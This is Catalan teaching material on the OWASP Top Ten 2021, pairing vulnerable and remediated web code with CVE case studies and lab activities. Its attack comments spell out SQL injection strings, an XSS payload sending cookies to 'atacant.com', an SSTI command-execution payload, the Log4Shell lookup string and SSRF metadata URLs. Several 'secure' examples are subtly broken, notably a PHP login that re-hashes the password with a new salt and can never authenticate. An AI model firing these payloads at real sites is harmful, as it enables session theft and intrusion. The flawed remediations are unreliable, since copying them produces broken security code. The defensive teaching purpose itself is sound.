Vulnerabilitats Web: OWASP Top Ten
Proposta didàctica
En aquest bloc estudiem les 10 vulnerabilitats web més crítiques segons l'OWASP Top Ten 2021, amb exemples de codi vulnerable, remediació i casos reals documentats amb CVEs.
Criteris d'avaluació
- CA3.1 Validació d'entrades d'usuari com a mesura preventiva.
- CA3.2 Detecció de riscos d'injecció (SQL, XSS, SSTI).
- CA3.3 Gestió correcta de sessions d'usuari.
- CA3.4 Control d'accés per rols (RBAC).
- CA3.5 Emmagatzematge segur de contrasenyes (bcrypt, Argon2).
- CA3.6 Configuració segura de servidors web.
- CA3.7 Contramesures contra bots (CAPTCHAs, rate limiting).
Continguts de referència
- A01: Broken Access Control
- A02: Cryptographic Failures
- A03: Injection (SQL, XSS, SSTI, LDAP)
- A04: Insecure Design
- A05: Security Misconfiguration
- A06: Vulnerable and Outdated Components
- A07: Identification and Authentication Failures
- A08: Software and Data Integrity Failures
- A09: Security Logging and Monitoring Failures
- A10: Server-Side Request Forgery (SSRF)
Questionari inicial del bloc
- Quina és la vulnerabilitat número 1 de l'OWASP Top Ten 2021?
- Que és una SQL Injection i com funciona?
- Quina diferència hi ha entre XSS reflectit i XSS emmagatzemat?
- Per que és perillós guardar contrasenyes en text pla?
- Que és el CSRF (Cross-Site Request Forgery)?
- Que és l'IDOR (Insecure Direct Object Reference)?
- Que és una configuració per defecte insegura i per que és problemàtica?
- Per que cal actualitzar les dependències de programari?
- Que és un atac a la cadena de subministrament?
- Que és el SSRF (Server-Side Request Forgery)?
A01: Broken Access Control
Descripció
El control d'accés trencat és la vulnerabilitat més prevalent de 2021, present en el 94% de les aplicacions testades. Ocorre quan els usuaris poden actuar fora dels seus permisos previstos.
Exemples comuns: - IDOR (Insecure Direct Object Reference): accedir a recursos d'altres usuaris - Escalada de privilegis: accedir a pàgines d'admin sense ser admin - Modificació d'URLs per accedir a dades d'altres usuaris
CVE Real
CVE-2019-11571 — Facebook IDOR: El 2019, investigadors van descobrir que canviant l'ID d'usuari en les crides a l'API de Facebook era possible accedir a les fotos privades d'altres usuaris. Facebook va pagar $25,000 a través del seu programa de Bug Bounty.
Codi vulnerable — IDOR
# Flask - VULNERABLE: No verifica que el document pertany a l'usuari
@app.route('/documents/<int:doc_id>')
@login_required
def veure_document(doc_id):
# PERILL: No valida si doc_id pertany a l'usuari actual!
document = Document.query.get(doc_id)
if document is None:
abort(404)
return render_template('document.html', doc=document)
# Atac: Un usuari amb id=5 accedeix a /documents/1, /documents/2...
# i pot llegir els documents de tots els usuaris
Remediació — IDOR
# Flask - SEGUR: Verifica que el document pertany a l'usuari actual
from flask_login import current_user
@app.route('/documents/<int:doc_id>')
@login_required
def veure_document(doc_id):
# Filtrar per l'usuari actual a la pròpia query
document = Document.query.filter_by(
id=doc_id,
user_id=current_user.id # Garantir que el document és de l'usuari
).first()
if document is None:
# No revelar si el document existeix o no (evitar enumeració)
abort(404)
return render_template('document.html', doc=document)
Codi vulnerable — Escalada de privilegis
// Express.js - VULNERABLE: Control d'accés basat en client
app.get('/admin/usuaris', (req, res) => {
// PERILL: La verificació d'admin es fa al client (cookie no verificada)
if (req.cookies.isAdmin === 'true') {
return res.json(await User.findAll());
}
res.status(403).json({ error: 'Accés denegat' });
});
// Atac: Qualsevol usuari pot enviar la cookie isAdmin=true
Remediació — RBAC
// Express.js - SEGUR: Control d'accés basat en rols al servidor
const jwt = require('jsonwebtoken');
// Middleware de verificació de rol
function requireRole(role) {
return (req, res, next) => {
const token = req.headers.authorization?.split(' ')[1];
if (!token) return res.status(401).json({ error: 'No autenticat' });
try {
const payload = jwt.verify(token, process.env.JWT_SECRET);
if (payload.role !== role) {
return res.status(403).json({ error: 'Accés denegat' });
}
req.user = payload;
next();
} catch (e) {
return res.status(401).json({ error: 'Token invàlid' });
}
};
}
// Aplicar el middleware: el rol és verificat al servidor
app.get('/admin/usuaris', requireRole('admin'), async (req, res) => {
const usuaris = await User.findAll();
res.json(usuaris);
});
A02: Cryptographic Failures
Descripció
Anteriorment coneguda com Sensitive Data Exposure, cobreix els errors relacionats amb la criptografia que exposen dades sensibles: contrasenyes, dades de targetes, informació mèdica.
Errors comuns: - Transmissió de dades sensibles en text pla (HTTP en lloc de HTTPS) - Ús d'algoritmes criptogràfics febles (MD5, SHA-1, DES) - Emmagatzematge de contrasenyes en text pla o amb hash feble - Claus criptogràfiques hardcoded en el codi - Vectors d'inicialització (IV) reutilitzats
CVE Real
CVE-2014-0160 — Heartbleed (OpenSSL): El bug Heartbleed va permetre llegir la memòria del servidor, incloent claus privades SSL, contrasenyes i cookies de sessió. Va afectar el 17% de tots els servidors web segurs (500.000 servidors) el 2014.
Codi vulnerable — Hash feble
import hashlib
# VULNERABLE: MD5 per a contrasenyes
def guardar_contrasenya(contrasenya):
hash_md5 = hashlib.md5(contrasenya.encode()).hexdigest()
# MD5 és trencable en mil·lisegons amb taules rainbow!
return hash_md5
# VULNERABLE: SHA-1 (també considerat trencat per a contrasenyes)
def guardar_contrasenya_sha1(contrasenya):
hash_sha1 = hashlib.sha1(contrasenya.encode()).hexdigest()
return hash_sha1
Remediació — Argon2id
from argon2 import PasswordHasher
from argon2.exceptions import VerifyMismatchError
# SEGUR: Argon2id és l'algoritme recomanat per l'OWASP (2024)
# Paràmetres recomanats: memory=64MB, iterations=3, parallelism=4
ph = PasswordHasher(
time_cost=3, # Iteracions
memory_cost=65536, # 64 MB
parallelism=4, # Fils paral·lels
hash_len=32, # Longitud del hash
salt_len=16 # Salt aleatori automàtic
)
def guardar_contrasenya(contrasenya: str) -> str:
"""Genera un hash segur de la contrasenya."""
return ph.hash(contrasenya)
def verificar_contrasenya(hash_guardat: str, contrasenya: str) -> bool:
"""Verifica una contrasenya contra el seu hash."""
try:
ph.verify(hash_guardat, contrasenya)
# Actualitzar el hash si els paràmetres han canviat
if ph.check_needs_rehash(hash_guardat):
nou_hash = ph.hash(contrasenya)
actualitzar_hash_bbdd(nou_hash)
return True
except VerifyMismatchError:
return False
# Alternativa: bcrypt (àmpliament suportat)
import bcrypt
def guardar_contrasenya_bcrypt(contrasenya: str) -> bytes:
salt = bcrypt.gensalt(rounds=12) # Cost factor 12 recomanat
return bcrypt.hashpw(contrasenya.encode(), salt)
def verificar_contrasenya_bcrypt(hash_guardat: bytes, contrasenya: str) -> bool:
return bcrypt.checkpw(contrasenya.encode(), hash_guardat)
A03: Injection
Descripció
Les injeccions ocorren quan dades no confiables s'envien a un intèrpret com a part d'una comanda o consulta. Els atacs d'injecció inclouen SQLi, NoSQLi, XSS, LDAP, SSTI i molts més.
flowchart TD
A[Entrada d'Usuari] --> B{Validació?}
B -->|No| C[Injecció Possible]
B -->|Sí| D[Processament Segur]
C --> E[SQL Injection]
C --> F[XSS]
C --> G[SSTI]
C --> H[LDAP Injection]
C --> I[Command Injection]
E --> J[Pèrdua de dades\nBypass autenticació]
F --> K[Robatori de cookies\nDesfiguració web]
G --> L[Execució de codi\nal servidor]
SQL Injection
La SQL Injection és un dels atacs més antics i devastadors. Permet manipular les consultes SQL de l'aplicació.
Codi vulnerable — SQL Injection
<?php
// VULNERABLE: Concatenació directa d'entrada d'usuari en SQL
$username = $_POST['username'];
$password = $_POST['password'];
$sql = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = mysqli_query($conn, $sql);
if (mysqli_num_rows($result) > 0) {
echo "Login correcte!";
}
// Atac 1: Bypass d'autenticació
// username: admin'--
// La consulta es converteix en:
// SELECT * FROM users WHERE username = 'admin'--' AND password = '...'
// El '--' comenta la resta → el login sempre funciona!
// Atac 2: UNION-based exfiltration
// username: ' UNION SELECT 1,group_concat(table_name),3,4 FROM information_schema.tables--
?>
Remediació — Prepared Statements
<?php
// SEGUR: Prepared Statements amb paràmetres lligats
$username = $_POST['username'];
$password = $_POST['password'];
// Preparar la consulta amb placeholders
$stmt = $conn->prepare("SELECT id, username, role FROM users WHERE username = ? AND password_hash = ?");
// Hash segur de la contrasenya
$password_hash = password_hash($password, PASSWORD_ARGON2ID);
// Lligar els paràmetres (no s'interpreta com SQL mai)
$stmt->bind_param("ss", $username, $password_hash);
$stmt->execute();
$result = $stmt->get_result();
if ($result->num_rows > 0) {
$user = $result->fetch_assoc();
$_SESSION['user_id'] = $user['id'];
$_SESSION['role'] = $user['role'];
echo "Login correcte!";
} else {
echo "Credencials incorrectes";
}
$stmt->close();
?>
# Python amb SQLAlchemy ORM - SEGUR
from sqlalchemy.orm import Session
def login_segur(db: Session, username: str, password: str):
# SQLAlchemy usa prepared statements automàticament
usuari = db.query(User).filter(
User.username == username # Parameteritzat automàticament
).first()
if usuari and verify_password(password, usuari.password_hash):
return usuari
return None
XSS — Cross-Site Scripting
L'XSS permet injectar codi JavaScript maliciós que s'executa en el navegador d'altres usuaris.
Tipus d'XSS:
| Tipus | Descripció | Persistència |
|---|---|---|
| Reflected XSS | El payload es reflecteix en la resposta HTTP | No persistent |
| Stored XSS | El payload es guarda a la base de dades | Persistent |
| DOM-based XSS | El payload es processa al DOM del navegador | Variable |
Codi vulnerable — Stored XSS
# Flask - VULNERABLE: Guardar i mostrar comentaris sense sanititzar
@app.route('/comentari', methods=['POST'])
def nou_comentari():
contingut = request.form['contingut'] # NO sanititzat
db.execute(
"INSERT INTO comentaris (contingut, autor) VALUES (?, ?)",
(contingut, current_user.username)
)
return redirect('/')
@app.route('/')
def inici():
comentaris = db.execute("SELECT * FROM comentaris").fetchall()
# VULNERABLE: Jinja2 amb | safe desactiva l'escapament!
return render_template('inici.html', comentaris=comentaris)
# En el template HTML:
# {{ comentari.contingut | safe }} ← PERILL!
# Atac: L'usuari envia com a comentari:
# <script>fetch('https://atacant.com/steal?c='+document.cookie)</script>
# Quan altres usuaris carreguen la pàgina, el codi s'executa i roba les cookies!
Remediació — Escapament + CSP
# Flask - SEGUR: Jinja2 escapa automàticament (per defecte)
from markupsafe import escape
import bleach
@app.route('/comentari', methods=['POST'])
def nou_comentari():
contingut = request.form['contingut']
# Netejar l'HTML: permetre només tags segurs
TAGS_PERMESOS = ['b', 'i', 'em', 'strong', 'p', 'br']
ATRIBUTS_PERMESOS = {}
contingut_net = bleach.clean(
contingut,
tags=TAGS_PERMESOS,
attributes=ATRIBUTS_PERMESOS,
strip=True
)
db.execute(
"INSERT INTO comentaris (contingut, autor) VALUES (?, ?)",
(contingut_net, current_user.username)
)
return redirect('/')
# En el template: {{ comentari.contingut }} ← Jinja2 escapa automàticament
# NO usar | safe tret que estiguis 100% segur que el contingut és segur
# Afegir capçaleres de seguretat CSP
from flask import Flask, make_response
@app.after_request
def afegir_headers_seguretat(response):
response.headers['Content-Security-Policy'] = (
"default-src 'self'; "
"script-src 'self'; " # Bloquejar scripts externs
"style-src 'self'; "
"img-src 'self' data:; "
"frame-ancestors 'none'" # Anti-clickjacking
)
response.headers['X-Content-Type-Options'] = 'nosniff'
response.headers['X-Frame-Options'] = 'DENY'
response.headers['Referrer-Policy'] = 'strict-origin-when-cross-origin'
return response
SSTI — Server-Side Template Injection
L'SSTI ocorre quan el motor de templates processa entrada d'usuari com a codi de template.
CVE Real: CVE-2019-8341 — Jinja2 SSTI in Flask-Security: Diverses aplicacions Flask eren vulnerables a SSTI a través de camps de formulari que s'inserien directament en templates Jinja2.
Codi vulnerable — SSTI Jinja2
# Flask - VULNERABLE: Renderitzar input d'usuari com a template
from flask import render_template_string
@app.route('/benvinguda')
def benvinguda():
nom = request.args.get('nom', 'Usuari')
# PERILL: render_template_string executa el template!
template = f"<h1>Benvingut/da, {nom}!</h1>"
return render_template_string(template)
# Atac: GET /benvinguda?nom={{7*7}}
# Resposta: <h1>Benvingut/da, 49!</h1> ← El servidor ha executat l'expressió!
# Atac avançat (RCE): nom={{config.__class__.__init__.__globals__['os'].popen('id').read()}}
Remediació — SSTI
# Flask - SEGUR: Usar variables de context, no interpolació directa
from markupsafe import escape
@app.route('/benvinguda')
def benvinguda():
nom = request.args.get('nom', 'Usuari')
# Escapar i passar com a variable, mai interpolant
nom_segur = escape(nom) # Escapa caràcters especials HTML
return render_template(
'benvinguda.html',
nom=nom_segur # La variable es passa de forma segura
)
# En benvinguda.html:
# <h1>Benvingut/da, {{ nom }}</h1>
# Jinja2 no interpreta {{ nom }} com a codi sinó com a variable
A04: Insecure Design
Descripció
El disseny insegur cobreix els riscos relacionats amb les deficiències en el disseny i arquitectura. Un disseny insegur no es pot corregir amb una implementació perfecta.
Exemples: - No considerar atacs de força bruta en el disseny del flux de login - No aplicar el principi de mínim privilegi en el disseny de l'arquitectura - Funcionalitats de recuperació de contrasenya que revelen informació
Miniactivitat: Disseny Segur
Analitza el següent flux de recuperació de contrasenya i identifica els problemes de disseny:
1. Usuari va a /recuperar-contrasenya
2. Introdueix el seu email
3. Sistema pregunta: "Quin és el nom de la teva mascota?"
4. Si la resposta és correcta, mostra la contrasenya en text pla
5. L'usuari veu la seva contrasenya
Problemes a identificar: - Per que les preguntes de seguretat són insegures? - Per que mostrar la contrasenya en text pla indica un problema greu? - Com hauria de ser un flux de recuperació segur?
A05: Security Misconfiguration
Descripció
La mala configuració de seguretat inclou permisos mal configurats, funcionalitats innecessàries habilitades, comptes per defecte, missatges d'error que revelen informació.
Exemples reals:
- Interfícies d'administració exposades a Internet (phpMyAdmin, Adminer)
- Credencials per defecte: admin/admin, root/root
- Directory listing habilitat (permet veure tots els fitxers)
- Capçaleres HTTP de seguretat absents
Configuració vulnerable — Apache
# Apache - VULNERABLE: Configuració per defecte insegura
# Mostra la versió d'Apache i del SO - informació per a l'atacant
ServerTokens Full
ServerSignature On
# Directory listing activat - qualsevol pot veure els fitxers!
<Directory /var/www/html>
Options Indexes FollowSymLinks
AllowOverride None
Require all granted
</Directory>
Remediació — Apache
# Apache - SEGUR: Configuració enduïda
# Ocultar informació de versió
ServerTokens Prod
ServerSignature Off
# Desactivar directory listing
<Directory /var/www/html>
Options -Indexes -FollowSymLinks
AllowOverride None
Require all granted
</Directory>
# Capçaleres de seguretat
Header always set X-Frame-Options "DENY"
Header always set X-Content-Type-Options "nosniff"
Header always set X-XSS-Protection "1; mode=block"
Header always set Referrer-Policy "strict-origin-when-cross-origin"
Header always set Permissions-Policy "geolocation=(), microphone=(), camera=()"
Header always set Content-Security-Policy "default-src 'self'"
Header always set Strict-Transport-Security "max-age=31536000; includeSubDomains; preload"
# Desactivar mètodes HTTP innecessaris
<LimitExcept GET POST HEAD>
Require all denied
</LimitExcept>
A06: Vulnerable and Outdated Components
Descripció
L'ús de components vulnerables inclou frameworks, biblioteques i dependències amb vulnerabilitats conegudes.
CVE Real
CVE-2021-44228 — Log4Shell: La vulnerabilitat en Apache Log4j 2.x va permetre l'execució de codi remot a través d'una simple cadena de text en els logs. El payload ${jndi:ldap://atacant.com/exploit} escrit en qualsevol camp de log va ser suficient per comprometre sistemes de tot el món el desembre de 2021.
# Detectar Log4j vulnerable amb Trivy
docker run --rm aquasec/trivy image aplicacio:latest
# Comprovar dependències Python
pip audit
# Comprovar dependències Node.js
npm audit
# Comprovar dependències Maven
mvn dependency-check:check
# Actualitzar dependències Node.js
npm update
npm audit fix
Miniactivitat: Auditoria de Dependències
-
Crea un
requirements.txtamb aquestes dependències (intencionadament vulnerables): -
Executa
pip auditi documenta les vulnerabilitats trobades -
Utilitza Snyk o Safety per obtenir més detalls:
-
Actualitza les dependències a versions segures i verifica que no hi ha vulnerabilitats
A07: Identification and Authentication Failures
Descripció
Inclou errors en la gestió d'identitats com: contrasenyes febles permeses, autenticació per força bruta sense límit, gestió insegura de sessions.
Rate Limiting i Anti-Bots
Codi vulnerable — Sense rate limiting
# Flask - VULNERABLE: Login sense rate limiting
@app.route('/login', methods=['POST'])
def login():
username = request.form['username']
password = request.form['password']
user = User.query.filter_by(username=username).first()
if user and check_password(password, user.password_hash):
session['user_id'] = user.id
return redirect('/dashboard')
return "Login incorrecte", 401
# Atac: Un script pot provar milions de contrasenyes sense cap limitació
# Atac de diccionari: provar les 10.000 contrasenyes més comunes
Remediació — Rate Limiting + Bloqueig de compte
# Flask - SEGUR: Rate limiting amb Flask-Limiter + bloqueig temporal
from flask_limiter import Limiter
from flask_limiter.util import get_remote_address
from datetime import datetime, timedelta
import redis
limiter = Limiter(
app=app,
key_func=get_remote_address,
storage_uri="redis://localhost:6379"
)
redis_client = redis.Redis(host='localhost', port=6379)
@app.route('/login', methods=['POST'])
@limiter.limit("5 per minute") # Màxim 5 intents per minut per IP
def login():
username = request.form['username']
password = request.form['password']
# Comprovar si el compte està bloquejat
clau_bloqueig = f"compte_bloquejat:{username}"
if redis_client.exists(clau_bloqueig):
temps_restant = redis_client.ttl(clau_bloqueig)
return f"Compte bloquejat. Torna a provar en {temps_restant}s", 429
user = User.query.filter_by(username=username).first()
if user and check_password(password, user.password_hash):
# Reset comptador d'intents fallits
redis_client.delete(f"intents_fallits:{username}")
session.clear()
session['user_id'] = user.id
session['csrf_token'] = secrets.token_hex(32)
return redirect('/dashboard')
# Incrementar comptador d'intents fallits
clau_intents = f"intents_fallits:{username}"
intents = redis_client.incr(clau_intents)
redis_client.expire(clau_intents, 300) # 5 minuts
if intents >= 5:
# Bloquejar el compte durant 30 minuts
redis_client.setex(clau_bloqueig, 1800, "bloquejat")
# Temps constant de resposta per evitar timing attacks
import time
time.sleep(0.1)
return "Credencials incorrectes", 401
Gestió Segura de Sessions
# Configuració segura de sessions en Flask
app.config.update(
SECRET_KEY=secrets.token_hex(32), # Clau forta i aleatoria
SESSION_COOKIE_HTTPONLY=True, # No accessible via JavaScript
SESSION_COOKIE_SECURE=True, # Només via HTTPS
SESSION_COOKIE_SAMESITE='Strict', # Protecció CSRF
PERMANENT_SESSION_LIFETIME=timedelta(hours=2), # Expiració
)
A08: Software and Data Integrity Failures
Descripció
Cobreix els casos on el codi i la infraestructura no protegeixen contra violacions d'integritat, incloent els atacs a la cadena de subministrament.
Cas Real: SolarWinds (2020)
L'atac SolarWinds va ser un dels atacs a la cadena de subministrament més sofisticats de la història:
sequenceDiagram
participant AT as Atacant (APT29/Cozy Bear)
participant SW as SolarWinds Build Server
participant UPD as Update Server
participant VIC as 18.000 Clients
AT->>SW: Comprometer el servidor de build
AT->>SW: Injectar backdoor SUNBURST en el codi font
SW->>UPD: Build i signatura de l'actualització infectada
UPD->>VIC: Distribució de l'actualització Orion (legítima i signada!)
VIC->>AT: SUNBURST estableix connexió C2
AT->>VIC: Accés persistent a xarxes governamentals i empreses Fortune 500
Impacte: Governs dels EUA (Treasury, Commerce, Homeland Security), Microsoft, Intel, Cisco i molts altres.
Com prevenir atacs a la cadena de subministrament
# Generar un Software Bill of Materials (SBOM)
syft imagen:etiqueta -o spdx-json > sbom.json
# Verificar la signatura d'una imatge amb Cosign (Sigstore)
cosign sign --key cosign.key my-registry.io/my-image:tag
cosign verify --key cosign.pub my-registry.io/my-image:tag
# Usar digest (hash) en lloc de tags en Docker (immutable)
# Vulnerble (el tag 'latest' pot canviar):
# FROM python:3.11
# Segur (el digest no canvia mai):
# FROM python:3.11@sha256:a7c5f16b5da2a29c8f9b452e3d74...
A09: Security Logging and Monitoring Failures
Descripció
La manca de logging i monitoratge adequats impedeix detectar breaches en curs, dificulta la resposta a incidents i afecta el compliment normatiu.
Que s'hauria de registrar: - Intents d'autenticació (èxits i fallades) - Errors de validació d'entrades - Accessos a dades sensibles - Canvis de configuració - Errors d'autorització
Configuració de Logging Segur
import logging
import json
from datetime import datetime
# Configuració de logging estructurat (JSON)
class JSONFormatter(logging.Formatter):
def format(self, record):
log_data = {
'timestamp': datetime.utcnow().isoformat(),
'level': record.levelname,
'event': record.getMessage(),
'module': record.module,
}
# Afegir context de seguretat si existeix
if hasattr(record, 'user_id'):
log_data['user_id'] = record.user_id
if hasattr(record, 'ip'):
log_data['ip'] = record.ip
return json.dumps(log_data)
# Configurar el logger
logger = logging.getLogger('seguretat')
handler = logging.FileHandler('/var/log/app/security.log')
handler.setFormatter(JSONFormatter())
logger.addHandler(handler)
logger.setLevel(logging.INFO)
# Ús en el codi
@app.route('/login', methods=['POST'])
def login():
username = request.form['username']
ip = request.remote_addr
try:
user = autenticar(username, request.form['password'])
logger.info(
"Login exitós",
extra={'user_id': user.id, 'ip': ip, 'event': 'LOGIN_SUCCESS'}
)
return redirect('/dashboard')
except AuthenticationError:
logger.warning(
f"Intent de login fallat per a '{username}'",
extra={'ip': ip, 'event': 'LOGIN_FAILURE'}
)
return "Credencials incorrectes", 401
A10: Server-Side Request Forgery (SSRF)
Descripció
L'SSRF ocorre quan una aplicació fa peticions HTTP a URLs proporcionades per l'usuari sense validació, permetent a l'atacant accedir a serveis interns.
Codi vulnerable — SSRF
import requests
# VULNERABLE: La URL la proporciona l'usuari
@app.route('/proxy')
def proxy():
url = request.args.get('url')
# PERILL: L'atacant pot accedir a serveis interns!
resposta = requests.get(url, timeout=5)
return resposta.text
# Atac 1: Accés a metadades cloud (AWS/GCP)
# GET /proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Atac 2: Accés a serveis interns
# GET /proxy?url=http://192.168.1.1/admin
# GET /proxy?url=http://localhost:6379 (Redis sense auth)
# Atac 3: Port scanning de la xarxa interna
# GET /proxy?url=http://10.0.0.5:3306 (MySQL intern)
Remediació — SSRF
import requests
from urllib.parse import urlparse
import ipaddress
# Llista blanca de dominis permesos
DOMINIS_PERMESOS = {'api.externe-fiable.com', 'webhooks.exemple.com'}
# Rangs d'IP privades (RFC 1918)
RANGS_PRIVATS = [
ipaddress.ip_network('10.0.0.0/8'),
ipaddress.ip_network('172.16.0.0/12'),
ipaddress.ip_network('192.168.0.0/16'),
ipaddress.ip_network('127.0.0.0/8'),
ipaddress.ip_network('169.254.0.0/16'), # Link-local (metadades cloud)
]
def es_url_segura(url: str) -> bool:
"""Verifica que la URL no apunta a recursos interns."""
try:
parsed = urlparse(url)
# Només permetre HTTP/HTTPS
if parsed.scheme not in ('http', 'https'):
return False
# Verificar llista blanca de dominis
if parsed.hostname not in DOMINIS_PERMESOS:
return False
# Resoldre l'IP i verificar que no és privada
import socket
ip = ipaddress.ip_address(socket.gethostbyname(parsed.hostname))
for rang in RANGS_PRIVATS:
if ip in rang:
return False
return True
except Exception:
return False
@app.route('/proxy')
def proxy():
url = request.args.get('url')
if not url or not es_url_segura(url):
return "URL no permesa", 400
try:
# Afegir timeout i desactivar redireccions automàtiques
resposta = requests.get(url, timeout=5, allow_redirects=False)
return resposta.text
except requests.RequestException as e:
return "Error en la petició", 500
Resum OWASP Top Ten 2021
| Posició | Vulnerabilitat | CWEs associats | Remediació clau |
|---|---|---|---|
| A01 | Broken Access Control | CWE-200, CWE-284 | RBAC, validació servidor |
| A02 | Cryptographic Failures | CWE-259, CWE-327 | Argon2id, TLS 1.3 |
| A03 | Injection | CWE-89, CWE-79 | Prepared statements, sanitització |
| A04 | Insecure Design | CWE-209, CWE-256 | Threat modeling, Secure by design |
| A05 | Security Misconfiguration | CWE-16 | Hardening, capçaleres seguretat |
| A06 | Vulnerable Components | CWE-1104 | SCA, actualitzar deps |
| A07 | Auth Failures | CWE-287, CWE-384 | MFA, rate limiting |
| A08 | Integrity Failures | CWE-502, CWE-829 | SBOM, Sigstore |
| A09 | Logging Failures | CWE-778 | SIEM, logging estructurat |
| A10 | SSRF | CWE-918 | Llista blanca URLs |
Activitats
- AC510 (CA3.2) Laboratori SQL Injection amb SQLmap contra DVWA
- AC511 (CA3.2) Laboratori XSS reflectit i emmagatzemat
- AC512 (CA3.1, CA3.3) Anàlisi i millora de la gestió de sessions d'una app web
- AC513 (CA3.4) Implementació de RBAC en una API REST
- AC514 (CA3.5) Migrar una aplicació de MD5 a Argon2id
- AC515 (CA3.6) Auditoria de capçaleres HTTP amb securityheaders.com
- AC516 (CA3.7) Implementació de rate limiting amb Redis
Projecte del Bloc
- PR503 (CA3.1–CA3.7) Pràctica WebGoat: Explotació i remediació del Top Ten
Ampliacions
- AP505 Explotació avançada: SQL Injection Blind i Time-Based
- AP506 Atac i defensa CSRF: implementació de tokens anti-CSRF
- AP507 Análisi de l'incident Equifax (CVE-2017-5638) i lliçons apreses